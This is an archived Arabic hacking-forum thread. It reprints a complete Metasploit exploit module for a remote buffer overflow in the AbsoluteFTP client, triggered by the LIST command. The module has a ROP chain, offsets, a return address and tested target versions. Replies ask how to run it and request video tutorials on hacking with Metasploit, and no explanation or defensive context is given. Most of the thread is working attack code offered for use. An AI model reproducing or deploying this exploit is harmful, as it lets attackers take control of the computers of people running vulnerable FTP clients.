المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : ثغرة جديدة في FTP ('WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252')



BLACK ANGIL
11-11-2011, 01:20 PM
##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking



include Msf::Exploit::Remote::FtpServer



def initialize(info = {})

super(update_info(info,

'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',

'Description' => %q{

This module exploits VanDyke Software AbsoluteFTP by overflowing

a filename buffer related to the LIST command.

},

'License' => MSF_LICENSE,

'Author' =>

[

'Node', # Original discovery, MSF module, ROP code

],

'References' =>

[

#[ 'OSVDB', '---' ],

#[ 'CVE', '---' ],

[ 'URL', 'http://www.exploit-db.com/exploits/18102/' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Platform' => 'win',

'Payload' =>

{

'BadChars' => "\x00\x0d\x5c\x2f\x0a",

},

'Targets' =>

[

[

'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',

{

'Ret' => 0x5f479005,

'Offset' => 3336

}

],

],

'Privileged' => false,

'DisclosureDate' => 'Nov 9 2011',

'DefaultTarget' => 0))

end



#copypasted from ScriptFTP exploit

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end



def on_client_command_list(c,arg)



conn = establish_data_connection(c)

if(not conn)

c.put("425 Can't build data connection\r\n")

return

end



print_status(" - Data connection set up")

code = 150

c.put("#{code} Here comes the directory listing.\r\n")



code = 226

c.put("#{code} Directory send ok.\r\n")



rop_gadgets =

[

0x5f46a206, # POP EAX # RETN (MFC42.DLL)

0x5f49b260, # <- *&VirtualProtect()

0x5f413fa0, # MOV EAX,DWORD PTR DS:[EAX] # RETN 04 ** [MFC42.DLL]

0x5f418d93, # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN ** [MFC42.DLL]

0x90909090, # NOPS (RETN 4)

0x90909090, # NOPS (-> ebx)

0x5f432001, # POP EBP # RETN (MFC42.DLL)

0x5F4774D5, # ptr to 'jmp esp' (from MFC42.DLL)

0x5f46a206, # POP EAX # RETN (MFC42.DLL)

0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD

0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL)

0x5f47909a, # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)

0x90909090, # NOPS (-> edi)

0x5f498456, # POP ECX # RETN (MFC42.DLL)

0x5F4D1115, # RW pointer (lpOldProtect) (-> ecx) !!!

0x5f46a206, # POP EAX # RETN (MFC42.DLL)

0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx

0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL)

0x5f4892df, # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)

0x5f479005, # ROP NOP (-> edi)

0x5f46a206, # POP EAX # RETN (MFC42.DLL)

0x90909090, # NOPS (-> eax)

0x5f4755b8, # PUSHAD # RETN (MFC42.DLL)

].pack("V*")



buffer = [0x5f479005].pack("V*")*848 #ROP NOP's

buffer << rop_gadgets

buffer << "\x90"*30

buffer << payload.encoded



#copypasted from ScriptFTP exploit

print_status(" - Sending directory list via data connection")

dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"

dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"

dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"



conn.put(dirlist)

conn.close

return

end

end



=begin

Exploit has been tested to work on:



AbsoluteFTP 2.2.10 (build 252)

AbsoluteFTP 2.2.9 (build 248)

AbsoluteFTP 2.2.8 (build 241)

AbsoluteFTP 2.2.7 (build 238)

AbsoluteFTP 2.2.6 (build 230)

AbsoluteFTP 2.2.5 (build 225)

AbsoluteFTP 2.2.4 (build 216)

AbsoluteFTP 2.2.3 (build 210)

AbsoluteFTP 2.2.2 (build 203)

AbsoluteFTP 2.2 (build 197)

AbsoluteFTP 2.2 (build 291)

AbsoluteFTP 2.2B3 (build 163)

AbsoluteFTP 2.2B2 (build 158)

AbsoluteFTP 2.2B1 (build 144)

AbsoluteFTP 2.0.5 (build 297)

AbsoluteFTP 2.0.4 (build 293)

AbsoluteFTP 2.0.3 (build 289)

AbsoluteFTP 1.9.6



Does not work on:

AbsoluteFTP 1.8

=end




ارجوا تقديم شرح لاستغلالها في الميتا لانو انا حاولت اضيفها للميتا عندي بس ما زبطت

ومشكوريين يا اخوان مسبقا

مركيز
11-12-2011, 04:35 AM
آلأسسستغلآل بآلميتآ

BLACK ANGIL
11-13-2011, 01:28 PM
آلأسسستغلآل بآلميتآ


ههههه نكته هذي ما انا اعرف انو الاستغلال بالميتا ؟!!!!

بس انت تعرف تستغلها !؟!!؟!؟؟!؟!!؟!؟:cool:

haker-tim
11-20-2011, 04:00 PM
بس كيف نستغلها

haker-tim
11-20-2011, 04:00 PM
ممكن شرح فديو طريقة اختراق الميتاسبورت

يارب رحمتك
05-29-2012, 06:57 AM
اولا :- جزآك آلله كًل خيُر ...
ثآ’نيآ :- عزيزى لآ تنشئ موضوع الـ وتستطيع الرد على الاعضاء فى جميع الاسئلة ... وهذة فقط نصيحة ...

بآلتوفيق .. والنجاح ...